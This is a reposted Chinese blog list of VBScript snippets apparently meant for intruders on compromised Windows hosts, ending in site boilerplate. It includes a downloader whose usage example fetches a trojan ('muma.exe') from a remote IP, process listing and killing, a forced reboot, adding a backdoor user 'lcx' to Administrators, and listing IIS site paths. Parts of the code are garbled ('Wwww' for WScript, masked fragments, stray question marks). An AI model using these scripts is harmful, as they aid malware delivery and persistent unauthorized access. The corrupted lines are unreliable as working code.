1.文件下載(無回顯)
echo iLocal = LCase(Wwww.Arguments(1)) >iget.vbe
echo iRemote = LCase(Wwww.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe

用法: cscript 0x007.vbs http://111.111.111.111/muma.exe muma.exe

2.列舉進程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wwww.echo ps.handle^&vbtab^&ps.name^&vbtab^&p*.**ecutablepath:next >>ps.vbs
用法:cscript 0x007.vbs.vbs

3.終止進程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wwww.arguments(0) then wwww.echo ps.terminate:end if:next >>pskill.vbs

用法: cscript 0x007.vbs pid

4.重啟系統
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs

5.添加用戶

Set a=CreateObject("Shell.Users")

Set z=a.create("oo")

z.changePassword "xx",""

z.setting("AccountType")=3

或者

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) ? ?'得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","lcx") '建立用戶
od.SetPassword "123456" ? ? ?'設置密碼
od.SetInfo ? ? ? ? ? ? ? ?'保存
Set of=GetObject(os&"/lcx",user) '得到用戶
oe.add ? ?os&"/lcx"

6.用vbs來列虛擬主機的物理目錄

Set ObjService=GetObject("IIS://LocalHost/W3SVC") ?
For Each obj3w In objservice ?
If IsNumeric(obj3w.Name) Then ?
sServerName=Obj3w.ServerComment ?
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root") ?
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf ?
End If ?
Next ?
WScript.Echo ListAllWeb ?
Set ObjService=Nothing ?
WScript.Quit

用法: cscript 0x007.vbs

轉載于:https://blog.51cto.com/0x007/1269568

《新程序員》：云原生和全面數字化實踐50位技術專家共同創作，文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的***常用vbs脚本的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。